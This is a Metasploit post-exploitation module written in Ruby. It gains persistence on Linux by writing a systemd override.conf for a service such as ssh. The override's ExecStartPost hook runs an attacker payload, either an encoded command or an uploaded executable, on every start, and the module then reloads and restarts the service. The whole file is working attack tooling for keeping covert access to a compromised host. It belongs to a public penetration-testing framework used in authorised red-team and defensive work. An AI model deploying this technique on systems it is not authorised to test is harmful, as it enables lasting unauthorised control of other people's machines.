## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Service SystemD override.conf Persistence', 'Description' => %q{ This module will create an override.conf file for a SystemD service on the box. The ExecStartPost hook is used to launch the payload after the service is started. We need enough access (typically root) to write in the /etc/systemd/system directory and potentially restart services. Verified on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'Platform' => ['unix', 'linux'], 'Privileged' => true, 'Targets' => [ ['systemd', {}], ['systemd user', {}] ], 'DefaultTarget' => 0, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'References' => [ ['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'], ['URL', 'https://askubuntu.com/a/659268'], ['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE] ], 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DisclosureDate' => '2010-03-30' # systemd release date ) ) register_options( [ OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']), ] ) register_advanced_options( [ OptBool.new('ReloadService', [true, 'Reload the service', true]) ] ) end def check print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') root_dir = '/lib/systemd/system/' service_file = "#{root_dir}#{datastore['SERVICE']}.service" return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file) service_root_dir = '/etc/systemd/system/' service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d" override_conf = "#{service_dir}/override.conf" if directory?(service_dir) return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf) return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir) else return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir) end CheckCode::Appears("#{writable_dir} is writable and system is systemd based") end def install_persistence print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d" override_conf = "#{service_dir}/override.conf" unless exists?(service_dir) vprint_status("Creating #{service_dir}") create_process('mkdir', args: ['-p', service_dir]) end if exists?(override_conf) conf = read_file(override_conf) backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup") vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}") @clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n" else @clean_up_rc << "rm #{override_conf}\n" end if payload.arch.first == 'cmd' p_load = payload.encoded p_load = ' &' unless p_load.end_with?('&') contents = <<~OVERRIDE [Service] ExecStartPost=/bin/sh -c '#{p_load}' OVERRIDE else payload_path = writable_dir payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) payload_path << payload_name print_status("Uploading payload file to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe contents = <<~OVERRIDE [Service] ExecStartPost=/bin/sh -c '#{payload_path} &' OVERRIDE end vprint_status("Writing override file to: #{override_conf}") write_file(override_conf, contents) # This was taken from pam_systemd(8) systemd_socket_id = cmd_exec('id -u') systemd_socket_dir = "/run/user/#{systemd_socket_id}" cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload") @clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n" @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\"" if datastore['ReloadService'] vprint_status("Reloading #{datastore['SERVICE']} service") cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") end end end